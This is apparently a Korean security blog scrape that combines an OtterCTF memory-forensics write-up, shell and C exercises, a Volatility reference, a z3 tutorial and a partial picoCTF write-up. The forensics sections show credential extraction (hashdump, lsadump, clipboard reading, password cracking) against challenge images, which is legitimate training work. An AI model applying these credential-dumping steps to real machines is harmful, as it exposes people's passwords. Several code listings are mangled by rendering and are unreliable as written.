2018 OtterCTF Writeup

1 - What the password? - 100pt

you got a sample of rick's PC's memory. can you get his user password?

format: CTF{...}

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 hashdump -s 0xfffff8a0016d4010

Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Rick:1000:aad3b435b51404eeaad3b435b51404ee:518172d012f97d3a8fcc089615283940:::

hivescan 해준걸 hashdump떠서 봤는데 이렇게 3개의 계정이 나왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 lsadump
Volatility Foundation Volatility Framework 2.6
DefaultPassword
0x00000000 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   (...............
0x00000010 4d 00 6f 00 72 00 74 00 79 00 49 00 73 00 52 00   M.o.r.t.y.I.s.R.
0x00000020 65 00 61 00 6c 00 6c 00 79 00 41 00 6e 00 4f 00   e.a.l.l.y.A.n.O.
0x00000030 74 00 74 00 65 00 72 00 00 00 00 00 00 00 00 00   t.t.e.r.........

DPAPI_SYSTEM
0x00000000 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ,...............
0x00000010 01 00 00 00 36 9b ba a9 55 e1 92 82 09 e0 63 4c   ....6...U.....cL
0x00000020 20 74 63 14 9e d8 a0 4b 45 87 5a e4 bc f2 77 a5   .tc....KE.Z...w.
0x00000030 25 3f 47 12 0b e5 4d a5 c8 35 cf dc 00 00 00 00   %?G...M..5......

lsadump 떠줘서 가져왔다.

예시 : https://www.aldeid.com/wiki/Volatility/Retrieve-password

lsadump plugin : https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/registry/lsadump.py

FLAG : CTF{MortyIsReallyAnOtter}


2 - General Info - 75pt

Let's start easy - whats the PC's name and IP address?

format: CTF{flag}

PC name

hive스캔을 먼저 떠줬다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 hivescan

그리고 컴퓨터 이름이 저장된 레지스트리로 가서 가져왔다.

컴퓨터 이름 레지스트리 : HKLM\SYSTEM\ControlSet00X\Control\ComputerName\ActiveComputerName

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K \ControlSet001\\Control\\ComputerName\\ActiveComputerName
Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: ActiveComputerName (V)
Last updated: 2018-08-04 19:26:11 UTC+0000

Subkeys:

Values:
REG_SZ       ComputerName   : (V) WIN-LO6FAF3DTFE

FLAG : CTF{WIN-LO6FAF3DTFE}

PC IP

netscan 해줘서 local Adress를 가져왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 netscan

FLAG : CTF{192.168.202.131}


3 - Play Time - 50pt

Rick just loves to play some good old videogames. can you tell which game is he playing? whats the IP address of the server?

format: CTF{flag}

Game name

프로세스 목록들보면 LunarMs.exe라는 게임을 하고 있었다.

FLAG : CTF{LunarMS}

Server IP

netscan따서 192.168.202.131과 LunarMs의 Foreign Address를 가져왔다.

FLAG : CTF{77.102.199.102}


4 - Name Game - 100pt

We know that the account was logged in to a channel called Lunar-3. what is the account name?

format: CTF{flag}

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D .

먼저 LunarMS 게임을 덤프 떠서 가져온다. LunarMS의 pid는 708이다

strings -a 708.dmp > prob3.txt

거기서 strings로 따서 Lunar-3를 검색해보면 Lunar-3 밑에 0tt3r8r33z3 가 적혀있었다. FLAG같아서 인증했다.

FLAG : CTF{CTF{0tt3r8r33z3}}


5 - Name Game2 - 150pt

From a little research we found that the username of the logged on character is always after this signature: 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} What's rick's character's name?

format: CTF{...}

No Solve...


6 - Silly Rick - 100pt

Silly rick always forgets his email's password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick's email password?

format: CTF{flag}

복사 붙여넣기를 사용한다고 했다. clipboard 플러그인을 사용해서 해당 값을 가져왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 clipboard
Volatility Foundation Volatility Framework 2.6
Session   WindowStation Format                         Handle Object             Data
---------- ------------- ------------------ ------------------ ------------------ --------------------------------------------------
        1 WinSta0       CF_UNICODETEXT               0x602e3 0xfffff900c1ad93f0 M@il_Pr0vid0rs
        1 WinSta0       CF_TEXT                         0x10 ------------------
        1 WinSta0       0x150133L             0x200000000000 ------------------
        1 WinSta0       CF_TEXT                           0x1 ------------------
        1 ------------- ------------------           0x150133 0xfffff900c1c1adc0

FLAG : CTF{M@il_Pr0vid0rs}


7 - Hide And Seek - 100pt

The reason that we took rick's PC memory dump is because there was a malware infection. Please find the malware process name (including the extension)

BEAWARE! There are only 3 attempts to get the right flag!

format: CTF{flag}

FLAG : CTF{vmware-tray.exe}


10 - Bit 4 Bit - 100pt

We've found out that the malware is a ransomware. Find the attacker's bitcoin address.

format: CTF{...}

vol.py -f OtterCTF.vmem --profile=Win7SP1x64 procdump -D dump/ -p 3720

https://transfer.sh/Dss8z/hidd.exe 이걸 사용해 비트코인 주소를 뽑아낼 수 있다.

FLAG : CTF{1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M}


11 - Graphics is for the weak - 150pt

There's something fishy in the malware's graphics.

format: CTF{...}

dnspy를 이용해서 열면 확인할 수있다.

FLAG : CTF{S0_Just_M0v3_Socy}

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 picoCTF Writeup  (0) 2018.11.22
2018 고등해커 예선 Writeup  (0) 2018.11.22

암스트롱수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
 
int main(){
    int n,m,i,copy,sum;
    scanf("%d %d",&n,&m);
    for(i=n; i<=m; i++){
        copy=i;
        sum=0;
        while(copy>0){
            sum+=(copy%10)*(copy%10)*(copy%10);
            copy= copy/10;
        }
        if(sum==i)
            printf("%d ",i);
    }
 
    return 0;
}
cs



최단거리

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
int main(){
    int n,*arr,min,i;
    scanf("%d",&n);
    arr =(int*)malloc(sizeof(int)*n);
    for(i=0; i<n; i++){
        scanf("%d",arr+i);
    }
    min = arr[1- arr[0];
    for(i=2; i<n; i++){
        if(arr[i] - arr[i-1< min){
            min = arr[i] - arr[i-1];
        }
    }
    printf("%d",min);
    return 0;
 
}
cs



레고블럭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
 
int main(){
    int n, *arr, max, i, cnt=1;
    scanf("%d",&n);
    arr = (int*)malloc(sizeof(int)*n);
    for(i=0; i<n; i++){
        scanf("%d", arr+i);
    }
    max = arr[0]; //max는 앞에 보이는 블럭의 높이
    for(i=1; i<n; i++){ //블럭을 좌>우로 순회 (왼쪽이 앞)
        if(arr[i] > max){ //앞에 보이는 블럭보다 뒤에 블럭이 더 크면
            max = arr[i]; //max를 바꿔줌
            cnt++//보이는 블록수 +1
        }
    }
    printf("%d " ,cnt); //왼쪽에서 봤을 때 블록 수
    cnt = 1;
    max = arr[n-1];
    for(i=n-2; i>=0; i--){ //블럭을 우>좌로 순회(오른쪽이 앞)
        if(arr[i] > max){
            max = arr[i];
            cnt++;
        }
    }
    printf("%d", cnt);
    return 0;
}
cs


'동아리' 카테고리의 다른 글

stdin , stdout , stderr 함수  (0) 2017.12.03

쉘 스크립트 이용해서 간단한 게임을 만들어 봤다.

이해 쉽게 주석 달아 놨음

 

자세한건 : https://github.com/realsung/Shell_Game

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
hhs#!/bin/bash
 
function main_print(){ # 메인 옵션들 출력
    echo "◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎"
    echo "=                                                 ="
    echo -"\033[1;31m=                  1. 겜 시작                     ="
    echo -"\033[1;33m\033[0m""=                                                 ="
    echo -"\033[1;31m=                  2. 도움말                      ="
    echo -"\033[1;33m\033[0m""=                                                 ="
    echo -"\033[1;31m=                  3. 종료                        ="
    echo -"\033[1;33m\033[0m""=                                                 ="
    echo -"\033[1;36m=  About : https://github.com/realsung/Shell_Game ="
    echo -"\033[1;33m\033[0m""=                                                 ="
    echo -"◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎-◎"
}
 
function menu(){ # 게임 메뉴들
    echo "[0] 뒤로가기"
    echo "[1] 숫자 맞추기 게임"
    echo "[?] 업데이트 예정..."
}
 
function game1(){ # 1. 숫자 맞추기 게임
    echo "숫자 맞추기 게임"
    echo "1 ~ 100 사이의 숫자를 입력 해주세요"
    rand=$(( ( $RANDOM % 100 ) + 1 )) # 랜덤 함수 사용해서 100까지 숫자중 랜덤 숫자 하나 지정
    for((i=0; i<=7; i++)); # 8번 반복
    do
        echo -"\033[1;32m" # [*] Input 초록색 지정 
        printf "[*] Input : "
        read game1_input # 입력
        echo -"\033[1;33m\033[0m" #나머지는 일반 색
        if [ ${rand} -eq ${game1_input} ]; then # 랜덤 값과 내가 입력한 값이 같으면 
            echo "You got it!!" # 잘했음
            break ;
        else
            if [ ${rand} -gt ${game1_input} ]; then # 내가 입력한 값이 랜덤 값보다 작으면
                echo "더 높은 수를 입력하세요"
            elif [ ${rand} -lt ${game1_input} ]; then # 내가 입력한 값이 랜덤 값보다 크면
                echo "더 낮은 수를 입력하세요"
            fi
        fi
    done
    sleep 2s
    echo ""
}
 
function helpme(){ # 도움말
    echo "[*] 게임 시작을 눌렀을 때 "
    sleep 1s
    echo "1. 숫자 맞추기 게임"
    sleep 1s
    echo "랜덤으로 숫자가 나옵니다."
    sleep 1s
    echo "당신은 8번의 기회가 있습니다"
    sleep 1s
    echo "1~100까지의 숫자 중에 하나를 맞추면 되는 게임입니다."
    sleep 3s
    echo ""
}
 
function end(){ # 종료
    echo "정말 종료할거야? ㅠ "
    sleep 0.5s
    echo "1. 종료"
    sleep 0.5s
    echo "2. 아니야"
    echo -"\033[1;31m" # [*] Input 빨강색 지정 
    printf "[*] Input : "
    read exit 
    echo -"\033[1;33m\033[0m" #나머지는 일반 색
    if [ ${exit} -eq 1 ]; then # 1 누르면 종료
        echo "Bye Bye ~"
        exit 0
    elif [ ${exit} -eq 2 ]; then #2 누르면 뒤로가기
        continue ;
    else
        echo "입력 값이 잘못됨"
    fi
    echo ""
}
 
while :
do
    main_print # 1,2,3 옵션 있는 거 출력
    echo -"\033[1;32m" # [*] Input 초록색 지정 
    printf "[*] Input : "
    read input # 입력
    echo -"\033[1;33m\033[0m" #나머지는 일반 색
    if [ ${input} -eq 1 ]; then #1번 눌렀을 때 game1 함수 실행
        menu # 메뉴함수 호출
        echo -"\033[1;32m" # [*] Input 초롤색 지정 
        printf "[*] Input : "
        read memu_num # 입력
        echo -"\033[1;33m\033[0m" #나머지는 일반 색
        if [ ${memu_num} -eq 0 ]; then # 메뉴 번호 = 0 뒤로가기
            echo ""
            continue ;
        elif [ ${memu_num} -eq 1 ]; then # 메뉴번호 = 1 숫자맞추기 게임
            game1
        else 
            echo "입력 값이 잘못됨"
            echo ""
        fi
    elif [ ${input} -eq 2 ]; then #2번 눌렀을 때 도움말들 
        helpme # 도움말 함수 호출
    elif [ ${input} -eq 3 ]; then #3번 눌렀을 때 종료 옵션
        end # 종료 함수 호출
    else
        echo "1,2,3중에 하나만 고르세요"
    fi
done
 

 

'ShellScript' 카테고리의 다른 글

Shell Script 정리  (0) 2018.12.02

Shell Script

#!/bin/sh
#!/bin/bash
#!/bin/zsh

#으로 시작하면 주석인데 # 바로 뒤에 ! 가 오면 스크립트를 실행할 쉘을 지정하는 선언문이다.

주석

# example it's comment!

맨 앞글자에 # 을 붙여주면 된다.

출력

#!/bin/bash
echo "My name is Sung"
printf "Hello World!"

echo

문장을 출력해주는데 python의 print()처럼 자동 줄바꿈이 된다. 변수 출력시에는 앞에 $ 을 붙여준다.

printf

C언어와 매우 유사하다. 줄 바꿈이 안 된다.

변수

#!/bin/bash
var1="Apple"
var2="Strawberry"

fuction f(){
local var3="it's Local variable"
echo $var3
}
echo $var1 $var2
printf "local variable : "
f

변수를 사용하려면 앞 뒤 공백 없이 = 를 입력하면 대입연산자가 된다.

그리고 그냥 선언한 변수는 전역 변수가 된다. 함수 안에서 지역변수를 사용하려면 변수 이름 앞에 local을 붙여주면 된다.

함수

#!/bin/bash
function test1(){
   echo "It's test1"
}
test2(){
echo "It's test2"
}
test1
test2

함수를 선언할 때 function을 붙여도 되고 안붙여도 상관 없다.

단, 함수 명을 쓰면 함수가 호출이 되는데 호출 코드가 함수 코드보다 반드시 에 있어야 된다. 함수 코드 보다 앞에서 호출 시 오류가 발생한다.

배열

#!/bin/bash
arr=('a' 'b' 'c' 'd')

arr[4]='test'
echo ${arr[4]}

arr[5]='input'
echo ${arr[5]}

echo ${arr[@]}

unset arr
echo ${arr[@]}

배열 사용시에는 괄호를 사용해야한다.

기존 배열에 값을 추가할 수 있고 바꿀 수도 있다.

특정 배열의 함수를 보고싶으면 arr[@] 또는 arr[*]을 사용한다. unset을 이용하면 배열을 지울 수 있다.

참고로 1차원 배열밖에 사용하지 못 한다.

조건문

#!/bin/bash
var1=10
var2=11
if [ ${var1} -eq ${var2} ]; then
echo "var1 Equal var2"
elif [ ${var1} -ne ${var2} ]; then
echo "var1 Not Equal var2"
fi

if문의 기본 형태는 아래와 같다.

값 조건식 값을 넣을 때 띄어쓰기가 안 들어가면 스크립트 에러가 난다.

if

[ 값 조건식 값 ]; then

~~~

fi

조건식설명
-z문자열의 길이가 0이면 참
-n문자열의 길이가 0이 아니면 참
-eq값이 같으면 참
-ne값이 다르면 참
-gt값1 > 값2
-ge값1 >= 값2
-lt값1 < 값2
-le값1 <= 값2
-a&& , And연산과 동일
-o|| , xor 연산과 동일

선택문

#!/bin/bash
echo "Enter a Num between 1 to 5"
read num
case $num in
1) echo "You pick Number 1" ;;
2) echo "You pick Number 2" ;;
3) echo "You pick Number 3" ;;
4) echo "You pick Number 4" ;;
5) echo "You pick Number 5" ;;
*) echo "Invalid Number" ;;
esac

문장 끝은 ;; 으로 끝내준다. 그리고 case에 없는 값은 *) 을 사용해서 예외 할 수 있다.

반복문

반복문을 빠져 나갈 때 braek 를 사용하고 반복문이나 조건문을 건너 뛸 때는 `continue를 사용한다.

#!/bin/bash
for i in {1..5..2}
do
echo ${i}
done

count=5

for((i=1; i<=count; i++)); do
printf ${i}" "
done

echo ""

i=0
while [ $i -le 5 ]
do
   echo $i
    i=$(($i+1))
done

for문은 아래와 같은 형식으로 이루어져 있다.

for [변수] in [반복 조건]
do
  [실행문]
done

while문은 아래와 같은 형식으로 이루어져있다.

while [ 값1 조건식 값2 ]
do
  [실행문]
  [실행문]
done

변수 타입

#!/bin/bash
declare -r str_var="Hello"
declare -i num_var=9999
declare -a arr_var=(1 4 'NOP' 10)
declare -x exp_var="export"

func(){
echo "fuction..."
}

declare -f func

echo ${str_var} ${num_var} ${arr_var[*]} ${exp_var}

변수는 타입을 구분하지 않고 기본적으로 문자열이다. 단 문맥에 따라 연산 처리를 한다.

그래서 변수 타입을 지정하기 위해서 declare , typeset 타입 지정 명령을 지원한다. 옵션은 같다.

-r은 읽기전용 -i는 정수 -a는 배열 -x는 환경 변수 -f는현재 스크립트의 함수 출력을 해준다.

예약 변수

문자설명
HOME사용자의 홈 디렉토리
PATH실행 파일을 찾을 경로
LANG프로그램 사용시 기본 지원되는 언어
PWD사용자의 현재 작업중인 디렉토리
FUNCNAME현재 함수 이름
SECONDS스크립트가 실행된 초 단위 시간
SHLVL쉘 레벨(중첩된 깊이를 나타냄)
SHELL로그인해서 사용하는 쉘
PPID부모 프로세스의 PID
BASHBASH 실행 파일 경로
BASH_ENV스크립트 실행시 BASH 시작 파일을 읽을 위치 변수
BASH_VERSION설치된 BASH 버전
BASH_VERSINFOBASH_VERSINFO[0]~BASH_VERSINFO[5]배열로 상세정보 제공
MAIL메일 보관 경로
MAILCHECK메일 확인 시간
OSTYPE운영체제 종류
TERM로긴 터미널 타입
HOSTNAME호스트 이름
HOSTTYPE시스템 하드웨어 종류
MACHTYPE머신 종류(HOSTTYPE과 같은 정보지만 조금더 상세하게 표시됨)
LOGNAME로그인 이름
UID사용자 UID
EUIDsu 명령에서 사용하는 사용자의 유효 아이디 값(UIDEUID 값은 다를 수 있음)
USER사용자의 이름
USERNAME사용자 이름
GROUPS사용자 그룹(/etc/passwd 값을 출력)
HISTFILEhistory 파일 경로
HISTFILESIZEhistory 파일 크기
HISTSIZEhistory 저장되는 개수
HISTCONTROL중복되는 명령에 대한 기록 유무
DISPLAYX 디스플레이 이름
IFS입력 필드 구분자(기본값: - 빈칸)
VISUALVISUAL 편집기 이름
EDITOR기본 편집기 이름
COLUMNS현재 터미널이나 윈도우 터미널의 컬럼 수
LINES터미널의 라인 수
LS_COLORSls 명령의 색상 관련 옵션
PS1기본 프롬프트 변수(기본값: bash\$)
PS2보조 프롬프트 변수(기본값: >), 명령을 ""를 사용하여 명령 행을 연장시 사용됨
PS3쉘 스크립트에서 select 사용시 프롬프트 변수(기본값: #?)
PS4쉘 스크립트 디버깅 모드의 프롬프트 변수(기본값: +)
TMOUT0이면 제한이 없으며 time시간 지정시 지정한 시간 이후 로그아웃

위치 매개 변수

문자설명
$0실행된 스크립트 이름
$1$1 $2 $3...${10}인자 순서대로 번호가 부여된다. 10번째부터는 "{}"감싸줘야 함
$*전체 인자 값
$@전체 인자 값($* 동일하지만 쌍따옴표로 변수를 감싸면 다른 결과 나옴)
$#매개 변수의 총 개수

특수 매개 변수

문자설명
$$현재 스크립트의 PID
$?최근에 실행된 명령어, 함수, 스크립트 자식의 종료 상태
$!최근에 실행한 백그라운드(비동기) 명령의 PID
$-현재 옵션 플래그
$_지난 명령의 마지막 인자로 설정된 특수 변수

매개 변수 확장

문자설명
${변수}$변수와 동일하지만 {} 사용해야만 동작하는 것들이 있음
${변수:위치}위치 다음부터 문자열 추출
${변수:위치:길이}위치 다음부터 지정한 길이 만큼의 문자열 추출
${변수:-단어}변수 미선언 혹은 NULL일때 기본값 지정, 위치 매개 변수는 사용 불가
${변수-단어}변수 미선언시만 기본값 지정, 위치 매개 변수는 사용 불가
${변수:=단어}변수 미선언 혹은 NULL일때 기본값 지정, 위치 매개 변수 사용 가능
${변수=단어}변수 미선언시만 기본값 지정, 위치 매개 변수 사용 가능
${변수:?단어}변수 미선언 혹은 NULL일때 단어 출력 후 스크립트 종료
${변수?단어}변수 미선언시만 단어 출력 후 스크립트 종료
${변수:+단어}변수 선언시만 단어 사용
${변수+단어}변수 선언 혹은 NULL일때 단어 사용
${#변수}문자열 길이
${변수#단어}변수의 앞부분부터 짧게 일치한 단어 삭제
${변수##단어}변수의 앞부분부터 길게 일치한 단어 삭제
${변수%단어}변수의 뒷부분부터 짧게 일치한 단어 삭제
${변수%%단어}변수의 뒷부분부터 길게 일치한 단어 삭제
${변수/찾는단어/변경단어}처음 일치한 단어를 변경
${변수//찾는단어/변경단어}일치하는 모든 단어를 변경
${변수/#찾는단어/변경단어}앞부분이 일치하면 변경
${변수/%찾는단어/변경단어}뒷부분이 일치하면 변경
${!단어*}, ${!단어@}선언된 변수중에서 단어가 포함된 변수 명 추출(

비트 연산자

문자설명
<<비트 왼쪽 쉬프트(쉬프트 한 번당 2를 곱하는 것과 동일함)
<<=left-shift-equal
>>비트 오른쪽 쉬프트(쉬프트 한 번당 2로 나눔)
>>=right-shift-equal(<<=와 반대)
&비트 and
&=비트 and-equal
|비트 OR
|=비트 OR-equa
~비트 negate
!비트 NOT
^비트 XOR
^=비트 XOR-equal

기타 연산자

문자설명
,콤마 연산자(comma operator), 2개 이상의 산술 연산을 묶어줌

정수 비교

문자설명
-eq같음
-ne같지 않음
>, -gt더 큼(> 이중 소괄호에서 사용 가능)
>=, -ge더크거나 같음(>= 이중 소괄호에서 사용 가능)
<, -lt더 작음(< 이중 소괄호에서 사용 가능)
<=, -le더 작거나 같음(<= 이중 소괄호에서 사용 가능)

문자열 비교

문자설명
=, ==같음
!=같지 않음
<ASCII 알파벳 순서에 더 작음
>ASCII 알파벳 순서에서 더 큼
-z문자열이 NULL, 길이가 0인 경우
-n문자열이 NULL이 아님
${변수}문자열이 NULL이 아님

'ShellScript' 카테고리의 다른 글

Shell Script Game v1.0  (0) 2018.12.02

Volatility 명령어

vol.py -f [덤프뜰 파일] --profile=[프로파일] (플러그인)

 

Plugins

 

Image Identification : 덤프 파일의 하드웨어 정보

- imageinfo, kdbgscan, kprcscan

 

 


 

Processes and DLLs : 프로세스 분석 및 DLL 분석

- pslist, pstree, psscan, dlllist, dlldump, handles, getsids, verinfo, enumfunc

 

 


 

Process Memory : 프로세스 메모리 분석

- memmap, memdump, procmemdump, dumpfiles, procexedump, vadwalk, vadtree, vadinfo, vaddump

 

memdump

특정 프로세스 PID값을 넣어 그 프로세스 추출 가능

vol.py -f [덤프뜰 파일] --profile=[프로파일] memdump -p [PID] -D [디렉토리]

 

dumpfiles

메모리상에 있는 파일 복구

vol.py -f [덤프뜰 파일] --profile=[프로파일] dumpfiles -Q [메모리주소] -D [디렉토리]

 

 


 

Kernel Memory and Objects : 커널 분석

- modules, modscan, moddump, ssdt, driverscan, filescan, mutantscan, symlinkscan, thrdscan

 

filescan

메모리상에 로드된 모든 파일을 볼 수있다.

 

envars

환경변수 보기

 


 

Networking : 네트워크 분석

- connections, connscan, Sockets, sockscan, netscan

 

connections

네트워크 접속 관련 정보

 

 


 

Registry : 레지스트리 분석

- hivescan, hivelist, printkey, hivedump, hashdump, lsadump, userassist

 

 


 

Crash Dumps, Hibernation, and Conversion : 덤프 분석

- crashinfo, , hibinfo, imagecopy

 

 


 

Malware and Rootkits : 악성코드 및 루트킷 분석

- malfind, , svcscan, ldrmodules, impscan, apihooks, idt, gdt, threads, callbacks, driverirp, devicetree, psxview, ssdt_ex, timers

 

malfind

시그니처 패턴 정보

 

 


 

Miscellaneous : 스트링 분석

- strings, volshell, bioskbd, yarascan, iehistory, mftparser

 

iehistory

인터넷 히스토리

 

mftparser

메모리에 로드된 디코딩 자료들 분석

 

 


 

참고 : https://code.google.com/archive/p/volatility/wikis/CommandReference23.wiki

 

 

'Hacking' 카테고리의 다른 글

IDA PRO 테마 적용  (0) 2018.12.27
메모리 보호기법 해제  (0) 2018.12.19
가상머신 메모리 덤프 파일  (0) 2018.10.09
메모리 포렌식 분석 과정  (0) 2018.10.09
메모리포렌식 Volatility  (0) 2018.10.09

Python z3 Module

더 추가할 예정!

z3에 대해 공부할겸 올려봅니다.. ㅎ 틀린부분이나 팁?그런거 있으면 알려주세요

모듈 링크 : https://github.com/Z3Prover/z3

유용한 외국 문서 : https://ericpony.github.io/z3py-tutorial/guide-examples.htm

일반적으로 그냥 근의 공식을 사용해서 프로그래밍을 해서 방정식의 근을 구하는 것은 imperative programming 방식이다.

파이썬의 z3 SMT solver 모듈을 사용해서 방정식의 근을 구하는 것은 decalarative programming이다.

나는 SMT solver 모듈을 사용하는 법에 대해 간단하게 공부하면서 포스팅하겠돠..

SMT solver?

Satisfiability Modulo Theories의 약자이다.

수식을 만족하는 값이 존재하는지 찾아준다. 수식을 만족하는 값이 존재할 경우 그 값을 구해준다.

True or False + 방정식, 부등식 해 구하기

Function

from z3 import *

z3 모듈 사용하기 위해 임포트

x = Int('x')
y = Int('y')

Int()는 미지수(정수)를 선언

x = Real('x')
y = Real('y')

Real()은 미지수(실수)를 선언

x = BitVec('x',8)
y = BitVec('y',8)

BitVec() 미지수(비트 벡터)를 선언

비트 연산을 할 때 사용되는데 BitVec('미지수',n)으로 n비트 미지수를 선언 해준다.

set_option(precision=3)

Real()을 사용했을 때 3자리 까지만 출력하고 싶다면 set_option 함수 사용

s = Solver()

Solver 객체 생성하는 함수

https://z3prover.github.io/api/html/classz3py_1_1_solver.html

위에 Solver()에 대해 많은 예제와 함수들이 있습니다.

s.add()

s.append() 

s.assert_exprs()

s.Insert()

수식을 추가하는 함수

s.assertions()

추가된 수식을 반환하는 함수

s.push()

s.pop()

수식을 넣고 빼는 함수

s.check()

값이 존재하면 sat 값이 존재하지 않으면 unsat을 반환

s.model()

값이 존재할 경우 값을 구해주는 함수

unsat , unknown이면 에러를 반환

s.reason_unknown()

check() 함수의 반환 값이 unknown인 이유를 알려줌

s.reset()

추가한 수식을 초기화 시키는 함수

Example

from z3 import *
x = Int('x')
s = Solver()
s.insert(x*x-4*x+3==0)
print s.check()
print s.model()

x^2 - 4x +3 =0을 풀어주는 예시다.

'Python' 카테고리의 다른 글

python struct module  (0) 2019.11.21
[pwntools]pwnlib.util  (0) 2019.11.19
hex encoding to chr()  (0) 2019.05.17
파이썬 리스트의 문자열을 int 형태로 변환  (2) 2019.02.18
layout: post
title: 2018 Pico CTF Writeup
date: 2018-10-25
mathjax: true
tag: [picoCTFWriteup]
categories: 0x02_Writeups

2018 PicoCTF WriteUp

NickName : ind3x

TeamName : sunrin

Score : 16785

Forensics Warmup 1 - Point : 50 [Forensics]

압축 파일을 받고 열어보니 flag.jpg파일이 있었다.

Flag : picoCTF{Welcome_to_forensics}

Forensics Warmup 2 - Point : 50 [Forensics]

png 파일을 받았는데 flag.png에 flag가 적혀있었다.

Flag : picoCTF{extensions_are_a_lie}

General Warmup 1 - Point : 50 [General Skills]

16진법 0x61을 아스키코드로 바꾸라고한다.

Flag : picoCTF{A}

General Warmup 2 - Point : 50 [General Skills]

10진수인 27을 2진수로 변환하라고 한다.

Flag : picoCTF{11011}

General Warmup 3 - Point : 50 [General Skills]

0x3D를 10진수로 변환하라고 한다.

Flag : picoCTF{61}

Resources - Point : 50 [General Skills]

웹 사이트에서 flag를 찾으라고 한다. 그냥 들어가서 command + f 누르고 picoCTF{} 플래그 형식검색했더니 나왔다.

Flag :picoCTF{xiexie_ni_lai_zheli}

Reversing Warmup 1 - Point : 50 [Reversing]

Radare2를 통해서 run 파일을 열고 확인해본 결과 picoCTF{welc0m3_t0_r3VeRs1nG} 라는 문구를 넘겨주고 있었다.

Flag : picoCTF{welc0m3_t0_r3VeRs1nG}

Reversing Warmup 2 - Point : 50 [Reversing]

dGg0dF93NHNfczFtcEwz 를 아스키형식으로 Base64 디코딩 하면 된다.

Flag : picoCTF{th4t_w4s_s1mpL3}

Crypto Warmup 1 - Point : 50 [Cryptography]

llkjmlmpadkkc 를 키 값인 thisisalilkey 를 주고 답을 찾으라 한다. 키 값을 주고 문자열을 바꾸는 형식인 Vigenere Cipher를 참고해 풀었다.

Flag : picoCTF{secretmessage}

Crypto Warmup 2 - Point : 50 [Cryptography]

cvpbPGS{guvf_vf_pelcgb!} 이런 문자가 주어졌는데 rot13으로 파이썬 코드 짜서 돌려줬다.

import codecs
flag = codecs.encode('cvpbPGS{guvf_vf_pelcgb!}','rot_13')
print(flag)
Flag : picoCTF{this_is_crypto!}

Grep 1 - Point : 75 [General Skills]

file이라는 이름의 파일이 주어졌는데 이 문제의 제목처럼 유닉스 계열의 명령어 grep으로 flag형식 문자열을 추출했다.

$ cat file | grep 'picoCTF'
picoCTF{grep_and_you_will_find_d66382d8}
Flag : picoCTF{grep_and_you_will_find_d66382d8}

net cat - Point : 75 [General Skills]

nc 접속하는 법을 알면 쉽게 풀 수 있다. 쉽게 터미널 열어서 접속해주면 된다.

$ nc 2018shell2.picoctf.com 37721
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_0b4c4174}
Flag : picoCTF{NEtcat_iS_a_NEcESSiTy_0b4c4174}

HEEEEEEERE'S Johnny! - Points : 100 [Cryptography]

passwd 파일을 칼리리눅스에서 Johnny이였나 거기에 넣어주고 하면 root계정의 비밀번호가 나온다.

Flag : picoCTF{J0hn_1$_R1pp3d_289677b5}

strings - Point : 100 [General Skills]

유닉스 명령어 strings만 사용할 줄 알면 쉽게 풀 수 있다.

$ strings strings | grep pico
picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}
Flag : picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}

pipe - Point : 110 [General Skills]

nc 서버로 접속하고 파이프를 사용해서 grep으로 문자열을 찾아줬다.

$ nc 2018shell2.picoctf.com 44310 | grep pico
picoCTF{almost_like_mario_a13e5b27}
Flag : picoCTF{almost_like_mario_a13e5b27}

Inspect Me - Point : 125 [Web Exploitation]

개발자도구를 들어가서 sources를 보면 html css js 소스가 있다. 소스를 확인해본 결과 flag가 주석처리 되어있다.

Flag : picoCTF{ur_4_real_1nspect0r_g4dget_b4887011}

grep2 - Point : 125 [General Skills]

쉘 서버에 grep을 사용해서 풀었다. /problems/grep-2_3_826f886f547acb8a9c3fccb030e8168d/ 안에 엄청 수 많은 폴더들이 있었다. grep의 -r 옵션이 하위 디렉토리의 파일들의 문자열을 찾아준다.

